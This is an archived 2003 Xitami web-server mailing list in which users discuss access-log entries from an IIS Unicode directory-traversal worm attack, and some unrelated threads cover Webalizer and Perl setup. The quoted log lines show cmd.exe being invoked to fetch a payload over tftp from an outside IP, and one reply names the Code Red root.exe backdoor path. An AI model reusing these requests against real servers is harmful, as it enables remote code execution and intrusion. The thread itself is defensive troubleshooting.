"" > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%= 20G > ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 = "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20= GET > %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20= GET > %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20= GET > %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > > Notice that the hacker successfully used tftp to send some info back = to > himself. My router logs confirmed that this occurred. I have since > eliminated all access rights to tftp. Not even the admin has rights > anymore. Since this is on a Win2k system, you just can't delete or = rename > certain system executables such as cmd.exe or tftp.exe. Windows just > restores it automatically. > > The question is: Since I run a simple HTML only site and don't need = CGI > processing, what can I do to eliminate all script processing of this nature. > > PS - The rest of you probably encounter some of these same security issues. > You should check. > > Best Regards, > Rob Allen > President, Blue Marble Meds LLC. Offering 30-75% off Prescription = Meds > See us at http://www.BlueMarbleMeds.com > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami ------=_NextPart_000_058F_01C2BBE1.BCB724B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
You are in  trouble.
This looks like a Nimda or codered=20 attack.
It attaks a range of ip=B4s, and when at last find some with = the pants=20 down it
tries to exploit a security "crater" in MS = systems.
Download the=20 latest updates from msupdate.

Then install a descent firewall, at = least=20 zonealarm.

If you succeed patching the holes then the logs should = tell=20 404 not 200.

Good luck:

Carlos

Ps: more info is = available=20 at ms website.

----- Original Message -----
From: "Rob @ BMM" = <Rob@bluemarblemeds.com>
= To:=20 <xitami@lists.xitami.org>Sent:=20 Tuesday, January 14, 2003 9:40 AM
Subject: [Xitami] Security Issue -=20 Disabling Script Processing


> Hi,
>
> Please = forgive=20 me if I have not sent this correctly to the group.
>
> Can = somebody=20 help me with this.
>
> Periodically, I see in the access = logs and=20 error logs, an attempt from a
> hacker to run certain types of = scripts in=20 a cmd window such as the
> following:
>
>=20 "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%= 20208.179.58.54%20G
>=20 ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>=20 "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%= 20208.179.58.54%20G
>=20 ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>=20 "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%= 20208.179.58.54%20G
>=20 ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET=20 /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET=20 /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1=20 ""
""
>=20 "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20= 208.179.58.54%20GET
>=20 %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>=20 "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20= 208.179.58.54%20GET
>=20 %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>=20 "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20= 208.179.58.54%20GET
>=20 %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>
> = Notice that=20 the hacker successfully used tftp to send some info back to
>=20 himself.  My router logs confirmed that this occurred.  I have = since
> eliminated all access rights to tftp.  Not even the = admin has=20 rights
> anymore.  Since this is on a Win2k system, you just = can't=20 delete or rename
> certain system executables such as cmd.exe or=20 tftp.exe.  Windows just
> restores it = automatically.
>
>=20 The question is: Since I run a simple HTML only site and don't need = CGI
>=20 processing, what can I do to eliminate all script processing of=20 this
nature.
>
> PS - The rest of you probably encounter = some of=20 these same security
issues.
> You should check.
>
> = Best=20 Regards,
> Rob Allen
> President, Blue Marble Meds = LLC. =20 Offering 30-75% off Prescription Meds
> See us at http://www.BlueMarbleMeds.com<= BR>>
>
>
>=20 --
> Xitami Users Mailing List -- For Xitami support
> To=20 unsubscribe: http://lists.xit= ami.org/mailman/listinfo/xitami
------=_NextPart_000_058F_01C2BBE1.BCB724B0-- From xitami@lists.xitami.org Tue Jan 14 18:48:32 2003 From: xitami@lists.xitami.org (TW) Date: Tue, 14 Jan 2003 19:48:32 +0100 Subject: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: Message-ID: <5.1.0.14.2.20030114194616.00a976a0@pop.chello.at> I am way sure, that this is the wrong list. You most probably sent us a log-file excerpt created by IIS. What you see is a typical IIS exploit, based on the fact that IIS interprets unicode wrong. This is a Xitami list. Xitami is not affected by it and returns four-o-four. Tony At 10:40 14.01.2003 -0700, you wrote: >Hi, > >Please forgive me if I have not sent this correctly to the group. > >Can somebody help me with this. > >Periodically, I see in the access logs and error logs, an attempt from a >hacker to run certain types of scripts in a cmd window such as the >following: > >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G >ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G >ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G >ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET >%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET >%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET >%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > >Notice that the hacker successfully used tftp to send some info back to >himself. My router logs confirmed that this occurred. I have since >eliminated all access rights to tftp. Not even the admin has rights >anymore. Since this is on a Win2k system, you just can't delete or rename >certain system executables such as cmd.exe or tftp.exe. Windows just >restores it automatically. > >The question is: Since I run a simple HTML only site and don't need CGI >processing, what can I do to eliminate all script processing of this nature. > >PS - The rest of you probably encounter some of these same security issues. >You should check. > >Best Regards, >Rob Allen >President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds >See us at http://www.BlueMarbleMeds.com > > > >-- >Xitami Users Mailing List -- For Xitami support >To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 14 19:39:50 2003 From: xitami@lists.xitami.org (Rob @ BMM) Date: Tue, 14 Jan 2003 12:39:50 -0700 Subject: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: <5.1.0.14.2.20030114194616.00a976a0@pop.chello.at> Message-ID: No, This log file excerpt was indeed created by Xitami. I just stripped off the front of the error strings for brevity. I have long since moved away from that IIS crap. Your assertion that Xitami is not affected by "it" would be incorrect. In addition, the Win2K system that I have has ALL recent updates and security patches applied. In addition, to the other gentlemen's comment, this has also nothing to do with a firewall or not. This hack is coming in on port 80 which the firewall has no control over. The router routes port 80 traffic to our internal web server correctly. What this issue pertains to, is that Xitami allows this kind of script processing to occur. I need a method to prevent it from occurring within Xitami. Xitami should NOT allow paths outside of the local web folder environment which these kinds of hacks take advantage of. Believe me, I have been studying this issue for months. I believe Xitami has a config element that helps to control or eliminate it, but I am unsure which one and how to implement it. Best Regards, Rob Allen President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds See us at http://www.BlueMarbleMeds.com -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of TW Sent: Tuesday, January 14, 2003 11:49 AM To: xitami@lists.xitami.org Subject: Re: [Xitami] Security Issue - Disabling Script Processing I am way sure, that this is the wrong list. You most probably sent us a log-file excerpt created by IIS. What you see is a typical IIS exploit, based on the fact that IIS interprets unicode wrong. This is a Xitami list. Xitami is not affected by it and returns four-o-four. Tony At 10:40 14.01.2003 -0700, you wrote: >Hi, > >Please forgive me if I have not sent this correctly to the group. > >Can somebody help me with this. > >Periodically, I see in the access logs and error logs, an attempt from a >hacker to run certain types of scripts in a cmd window such as the >following: > >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20 G >ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20 G >ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20 G >ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE T >%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE T >%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" >"GET >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GE T >%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > >Notice that the hacker successfully used tftp to send some info back to >himself. My router logs confirmed that this occurred. I have since >eliminated all access rights to tftp. Not even the admin has rights >anymore. Since this is on a Win2k system, you just can't delete or rename >certain system executables such as cmd.exe or tftp.exe. Windows just >restores it automatically. > >The question is: Since I run a simple HTML only site and don't need CGI >processing, what can I do to eliminate all script processing of this nature. > >PS - The rest of you probably encounter some of these same security issues. >You should check. > >Best Regards, >Rob Allen >President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds >See us at http://www.BlueMarbleMeds.com > > > >-- >Xitami Users Mailing List -- For Xitami support >To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 14 19:51:04 2003 From: xitami@lists.xitami.org (Ewen McNeill) Date: Wed, 15 Jan 2003 08:51:04 +1300 Subject: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: Message from "Rob @ BMM" of "Tue, 14 Jan 2003 12:39:50 PDT." Message-ID: <20030114195104.6BE2DADF84@basilica.la.naos.co.nz> In message , "Rob @ BMM" wr ites: >What this issue pertains to, is that Xitami allows this kind of script >processing to occur. I need a method to prevent it from occurring within >Xitami. Xitami should NOT allow paths outside of the local web folder >environment which these kinds of hacks take advantage of. Actually ISTR the issue is that the URL is invalid in a way that triggers a bug in IIS and a security issue; and that invalid URL causes Xitami's URL parsing to say "oh, you want the home page of the domain, oaky, here it is". So the 200 reply is Xitami sending out the home page. Short of a bug-fixed version of Xitami (I've no idea when/if there will be another update; I just look after the computers these days), about the best idea I have for avoiding a 200 reply is to password protect the URL's top path -- and I'm not even sure if that will work due to the parsing issues mentioned above. Ewen -- Ewen McNeill, System Administrator, iMatix Corporation www.imatix.com From xitami@lists.xitami.org Tue Jan 14 20:40:43 2003 From: xitami@lists.xitami.org (Rob @ BMM) Date: Tue, 14 Jan 2003 13:40:43 -0700 Subject: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: <20030114195104.6BE2DADF84@basilica.la.naos.co.nz> Message-ID: I suspect there are several ways to potentially address this problem within Xitami using some configuration elements, I just need some guidance. After reading the Xitami manual, potential options are as follows: 1..Disable Script Processing parameter if applicable in this case. 2..Filters - I don't know exactly what these are but... 3..Various CGI options like defining strings to help detect CGI and then disabling them all together. Am I on the right track here. Best Regards, Rob Allen President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds See us at http://www.BlueMarbleMeds.com -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Ewen McNeill Sent: Tuesday, January 14, 2003 12:51 PM To: xitami@lists.xitami.org Subject: Re: [Xitami] Security Issue - Disabling Script Processing In message , "Rob @ BMM" wr ites: >What this issue pertains to, is that Xitami allows this kind of script >processing to occur. I need a method to prevent it from occurring within >Xitami. Xitami should NOT allow paths outside of the local web folder >environment which these kinds of hacks take advantage of. Actually ISTR the issue is that the URL is invalid in a way that triggers a bug in IIS and a security issue; and that invalid URL causes Xitami's URL parsing to say "oh, you want the home page of the domain, oaky, here it is". So the 200 reply is Xitami sending out the home page. Short of a bug-fixed version of Xitami (I've no idea when/if there will be another update; I just look after the computers these days), about the best idea I have for avoiding a 200 reply is to password protect the URL's top path -- and I'm not even sure if that will work due to the parsing issues mentioned above. Ewen -- Ewen McNeill, System Administrator, iMatix Corporation www.imatix.com -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Wed Jan 15 01:52:47 2003 From: xitami@lists.xitami.org (admin) Date: Tue, 14 Jan 2003 17:52:47 -0800 Subject: [Xitami] Security Issue - Disabling Script Processing References: Message-ID: <061201c2bc38$cdeb8530$67646464@carlos> > > In addition, to the other gentlemen's comment, this has also nothing to do > with a firewall or not. This hack is coming in on port 80 which the > firewall has no control over. The router routes port 80 traffic to our > internal web server correctly. Sure. But once you can be infected by a Nimda kind of virus, the firewall will ask you if you allow the move out to the internet. I`m not saying this is Nimda, but if a troyan is planted into your server, then it will search new victims, and the firewall will tell you that move. I get hundreds of such attemps everyday, but the answer is always 404. Get your W2K updates, and tune your antivirus as well. Good luck: Carlos From xitami@lists.xitami.org Tue Jan 14 20:56:07 2003 From: xitami@lists.xitami.org (TW) Date: Tue, 14 Jan 2003 21:56:07 +0100 Subject: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: References: <5.1.0.14.2.20030114194616.00a976a0@pop.chello.at> Message-ID: <5.1.0.14.2.20030114213128.00a976a0@pop.chello.at> At 12:39 14.01.2003 -0700, you wrote: >No, This log file excerpt was indeed created by Xitami. I just stripped off >the front of the error strings for brevity. I have long since moved away >from that IIS crap. > >Your assertion that Xitami is not affected by "it" would be incorrect. In >addition, the Win2K system that I have has ALL recent updates and security >patches applied. Well, very interesting. Tested your problem here (Win2k SP2, no IIS installed; Xitami 2.4d9 - almost default setup), that is, used the query string from your logfile and a number of similar querystrings (known to be IIS explores) from security related list and found 404 on every try. Regarding Ewen's comment on this issue, I didn't even get an 'oops-dunno_what_to_do-200', it was 404 always. This is what I expect, I can't produce any breakout of the dedicated web-directories. Actually I can't even imagine to happen the same on Xitami, because URL-checking regarding allowed paths (including dot-dot attacks) is a default exercise for a webserver, and a bogus version went into the productive IIS only by bad luck (or you might say M$-chaos). Anyway, if I were able to reproduce the problem, I'd spend some brain power on it, but I can't. Tony From xitami@lists.xitami.org Wed Jan 15 02:09:21 2003 From: xitami@lists.xitami.org (admin) Date: Tue, 14 Jan 2003 18:09:21 -0800 Subject: [Xitami] Security Issue - Disabling Script Processing References: <061201c2bc38$cdeb8530$67646464@carlos> Message-ID: <065e01c2bc3b$1e4e5e60$67646464@carlos> One more thing. This security crater, allows a hacker to control your server, and things like pop up messages or run remotely your explorer can be done This is one frequently used: http://ipremote/scripts/root.exe?/c+ (this is codered) Maybe you find some message already written on your HD. something like a folder with the name "c:/...your_PC_has_aproblem/ is common. Carlos ----- Original Message ----- From: "admin" To: Sent: Tuesday, January 14, 2003 5:52 PM Subject: Re: [Xitami] Security Issue - Disabling Script Processing > > > > In addition, to the other gentlemen's comment, this has also nothing to do > > with a firewall or not. This hack is coming in on port 80 which the > > firewall has no control over. The router routes port 80 traffic to our > > internal web server correctly. > > Sure. > But once you can be infected by a Nimda kind of virus, the firewall will ask > you if you allow the move out to the internet. > > I`m not saying this is Nimda, but if a troyan is planted into your server, > then it will search new victims, and the firewall will tell you that move. > > I get hundreds of such attemps everyday, but the answer is always 404. > > Get your W2K updates, and tune your antivirus as well. > > Good luck: > > Carlos > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 14 21:17:09 2003 From: xitami@lists.xitami.org (Alasdair Macdonald) Date: Tue, 14 Jan 2003 21:17:09 -0000 Subject: [Xitami] Log File In-Reply-To: References: <3E220D11.19478.7EA8F32@localhost> Message-ID: <3E247E55.20799.117576BF@localhost> I hada look at the .conf file and there's nothing to it. I'll mail it privately if required, but I suspect the problem may be more in resolving the location of the log files, the conf file, and the destination for the resulting analyses. I have a set of .bat files that does that for me. Alasdair On 12 Jan 2003 at 20:20, miplanet wrote: > I am getting oversized username and oversized hostname error so nothing > shows up. How do I get around the error or do you have an example for a > config file. > > Ron > > -----Original Message----- > From: xitami-admin@lists.xitami.org > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > Sent: Sunday, January 12, 2003 7:49 PM > To: xitami@lists.xitami.org > Subject: Re: [Xitami] Log File > > > Yep. What do you want to know? > > Alasdair > > On 12 Jan 2003 at 19:17, miplanet wrote: > > > Has anyone gotten Webalizer to work with Xitami? From xitami@lists.xitami.org Tue Jan 14 21:27:35 2003 From: xitami@lists.xitami.org (miplanet) Date: Tue, 14 Jan 2003 16:27:35 -0500 Subject: [Xitami] Log File In-Reply-To: <3E247E55.20799.117576BF@localhost> Message-ID: No need, I switched Xitami log format from CLFX to CLF and that seems to work. Just one more question tho, do you have your's on incremental=yes. I have it set up to read the logs every day at 2am and I noticed that it only has the current day. I suspect that if I set the incremental value to yes that it should resolve that problem too. We're probably treading on a different forum now but it does involve Xitami. Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald Sent: Tuesday, January 14, 2003 4:17 PM To: xitami@lists.xitami.org Subject: RE: [Xitami] Log File I hada look at the .conf file and there's nothing to it. I'll mail it privately if required, but I suspect the problem may be more in resolving the location of the log files, the conf file, and the destination for the resulting analyses. I have a set of .bat files that does that for me. Alasdair On 12 Jan 2003 at 20:20, miplanet wrote: > I am getting oversized username and oversized hostname error so nothing > shows up. How do I get around the error or do you have an example for a > config file. > > Ron > > -----Original Message----- > From: xitami-admin@lists.xitami.org > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > Sent: Sunday, January 12, 2003 7:49 PM > To: xitami@lists.xitami.org > Subject: Re: [Xitami] Log File > > > Yep. What do you want to know? > > Alasdair > > On 12 Jan 2003 at 19:17, miplanet wrote: > > > Has anyone gotten Webalizer to work with Xitami? -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 14 21:51:02 2003 From: xitami@lists.xitami.org (Alasdair Macdonald) Date: Tue, 14 Jan 2003 21:51:02 -0000 Subject: [Xitami] Log File In-Reply-To: References: <3E247E55.20799.117576BF@localhost> Message-ID: <3E248646.29634.1083AE@localhost> Yes indeedy, I do have "Incremental yes" Alasdair On 14 Jan 2003 at 16:27, miplanet wrote: > No need, I switched Xitami log format from CLFX to CLF and that seems to > work. Just one more question tho, do you have your's on incremental=yes. I > have it set up to read the logs every day at 2am and I noticed that it only > has the current day. I suspect that if I set the incremental value to yes > that it should resolve that problem too. > > We're probably treading on a different forum now but it does involve Xitami. > > Ron > > > -----Original Message----- > From: xitami-admin@lists.xitami.org > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > Sent: Tuesday, January 14, 2003 4:17 PM > To: xitami@lists.xitami.org > Subject: RE: [Xitami] Log File > > > I hada look at the .conf file and there's nothing to it. I'll mail it > privately if > required, but I suspect the problem may be more in resolving the location of > the log files, the conf file, and the destination for the resulting > analyses. > > I have a set of .bat files that does that for me. > > Alasdair > > On 12 Jan 2003 at 20:20, miplanet wrote: > > > I am getting oversized username and oversized hostname error so nothing > > shows up. How do I get around the error or do you have an example for a > > config file. > > > > Ron > > > > -----Original Message----- > > From: xitami-admin@lists.xitami.org > > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > > Sent: Sunday, January 12, 2003 7:49 PM > > To: xitami@lists.xitami.org > > Subject: Re: [Xitami] Log File > > > > > > Yep. What do you want to know? > > > > Alasdair > > > > On 12 Jan 2003 at 19:17, miplanet wrote: > > > > > Has anyone gotten Webalizer to work with Xitami? From xitami@lists.xitami.org Tue Jan 14 21:55:53 2003 From: xitami@lists.xitami.org (miplanet) Date: Tue, 14 Jan 2003 16:55:53 -0500 Subject: [Xitami] Log File In-Reply-To: <3E248646.29634.1083AE@localhost> Message-ID: That should do it, thanks. Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald Sent: Tuesday, January 14, 2003 4:51 PM To: xitami@lists.xitami.org Subject: RE: [Xitami] Log File Yes indeedy, I do have "Incremental yes" Alasdair On 14 Jan 2003 at 16:27, miplanet wrote: > No need, I switched Xitami log format from CLFX to CLF and that seems to > work. Just one more question tho, do you have your's on incremental=yes. I > have it set up to read the logs every day at 2am and I noticed that it only > has the current day. I suspect that if I set the incremental value to yes > that it should resolve that problem too. > > We're probably treading on a different forum now but it does involve Xitami. > > Ron > > > -----Original Message----- > From: xitami-admin@lists.xitami.org > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > Sent: Tuesday, January 14, 2003 4:17 PM > To: xitami@lists.xitami.org > Subject: RE: [Xitami] Log File > > > I hada look at the .conf file and there's nothing to it. I'll mail it > privately if > required, but I suspect the problem may be more in resolving the location of > the log files, the conf file, and the destination for the resulting > analyses. > > I have a set of .bat files that does that for me. > > Alasdair > > On 12 Jan 2003 at 20:20, miplanet wrote: > > > I am getting oversized username and oversized hostname error so nothing > > shows up. How do I get around the error or do you have an example for a > > config file. > > > > Ron > > > > -----Original Message----- > > From: xitami-admin@lists.xitami.org > > [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald > > Sent: Sunday, January 12, 2003 7:49 PM > > To: xitami@lists.xitami.org > > Subject: Re: [Xitami] Log File > > > > > > Yep. What do you want to know? > > > > Alasdair > > > > On 12 Jan 2003 at 19:17, miplanet wrote: > > > > > Has anyone gotten Webalizer to work with Xitami? -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Mon Jan 6 23:49:59 2003 From: xitami@lists.xitami.org (Neil Finlayson) Date: Mon, 6 Jan 2003 17:49:59 -0600 Subject: [Xitami] Xitami Pro and CGI Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C2B5AC.086CB6E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hey, I have just move to Xitami Pro and when i run my CGI scripts i get the = error: Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib = c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line 2. I have tried reinstalling Perl, ant nothing else has changed apart from = moving to Xitami Pro. Here is my system config: Windows 2000 server Xitami Pro 1.4Ghz Duron Activeperl PHP thanks. ------=_NextPart_000_001B_01C2B5AC.086CB6E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hey,
 
I have just move to Xitami Pro and when = i run my=20 CGI scripts i get the error:
 
Can't locate sub.txt in @INC (@INC = contains:=20 c:/Perl1/lib c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line=20 2.
I have tried reinstalling Perl, ant = nothing else=20 has changed apart from moving to Xitami Pro.
 
Here is my system config:
Windows 2000 server
Xitami Pro
1.4Ghz Duron
Activeperl
PHP
 
thanks.
------=_NextPart_000_001B_01C2B5AC.086CB6E0-- From xitami@lists.xitami.org Wed Jan 8 19:26:01 2003 From: xitami@lists.xitami.org (Andrew Lockwood) Date: Wed, 8 Jan 2003 19:26:01 -0000 Subject: [Xitami] Website statistics Message-ID: <005301c2b74b$c7e2e080$0500a8c0@Evolution1600> This is a multi-part message in MIME format. ------=_NextPart_000_0050_01C2B74B.C79053B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable As a "newbie" member, this may be a naive question that has been asked = many times before, but is there any (straightforward) way of getting = statistics about numbers of visits to websites out of Xitami and where = they came from? Any help suggestions most gratefully received Andrew Lockwood ------=_NextPart_000_0050_01C2B74B.C79053B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
As a "newbie" member, this may be a = naive question=20 that has been asked many times before, but is there any = (straightforward) way of=20 getting statistics about numbers of visits to websites out of Xitami and = where=20 they came from?
 
Any help suggestions most gratefully=20 received
 
 
Andrew = Lockwood
------=_NextPart_000_0050_01C2B74B.C79053B0-- From xitami@lists.xitami.org Tue Jan 14 23:26:36 2003 From: xitami@lists.xitami.org (carlos) Date: Tue, 14 Jan 2003 15:26:36 -0800 Subject: [Xitami] Security Issue - Disabling Script Processing References: Message-ID: <056101c2bc24$830bac20$67646464@carlos> You are in trouble. This looks like a Nimda or codered attack. It attaks a range of ipīs, and when at last find some with the pants down it tries to exploit a security "crater" in MS systems. Download the latest updates from msupdate. Then install a descent firewall, at least zonealarm. If you succeed patching the holes then the logs should tell 404 not 200. Good luck: Carlos Ps: more info is available at ms website. ----- Original Message ----- From: "Rob @ BMM" To: Sent: Tuesday, January 14, 2003 9:40 AM Subject: [Xitami] Security Issue - Disabling Script Processing > Hi, > > Please forgive me if I have not sent this correctly to the group. > > Can somebody help me with this. > > Periodically, I see in the access logs and error logs, an attempt from a > hacker to run certain types of scripts in a cmd window such as the > following: > > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G > ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G > ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G > ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET > %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET > %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET > %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > > Notice that the hacker successfully used tftp to send some info back to > himself. My router logs confirmed that this occurred. I have since > eliminated all access rights to tftp. Not even the admin has rights > anymore. Since this is on a Win2k system, you just can't delete or rename > certain system executables such as cmd.exe or tftp.exe. Windows just > restores it automatically. > > The question is: Since I run a simple HTML only site and don't need CGI > processing, what can I do to eliminate all script processing of this nature. > > PS - The rest of you probably encounter some of these same security issues. > You should check. > > Best Regards, > Rob Allen > President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds > See us at http://www.BlueMarbleMeds.com > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Wed Jan 15 02:07:53 2003 From: xitami@lists.xitami.org (carlos) Date: Tue, 14 Jan 2003 18:07:53 -0800 Subject: [Xitami] Security Issue - Disabling Script Processing References: <061201c2bc38$cdeb8530$67646464@carlos> Message-ID: <065401c2bc3a$ea3b6000$67646464@carlos> One more thing. This security crater, allows a hacker to control your server, and things like pop up messages or run remotely your explorer can be done This is one frequently used: http://ipremote/scripts/root.exe?/c+ (this is codered) Maybe you find some message already written on your HD. something like a folder with the name "c:/...your_PC_has_aproblem/ is common. Carlos ----- Original Message ----- From: "admin" To: Sent: Tuesday, January 14, 2003 5:52 PM Subject: Re: [Xitami] Security Issue - Disabling Script Processing > > > > In addition, to the other gentlemen's comment, this has also nothing to do > > with a firewall or not. This hack is coming in on port 80 which the > > firewall has no control over. The router routes port 80 traffic to our > > internal web server correctly. > > Sure. > But once you can be infected by a Nimda kind of virus, the firewall will ask > 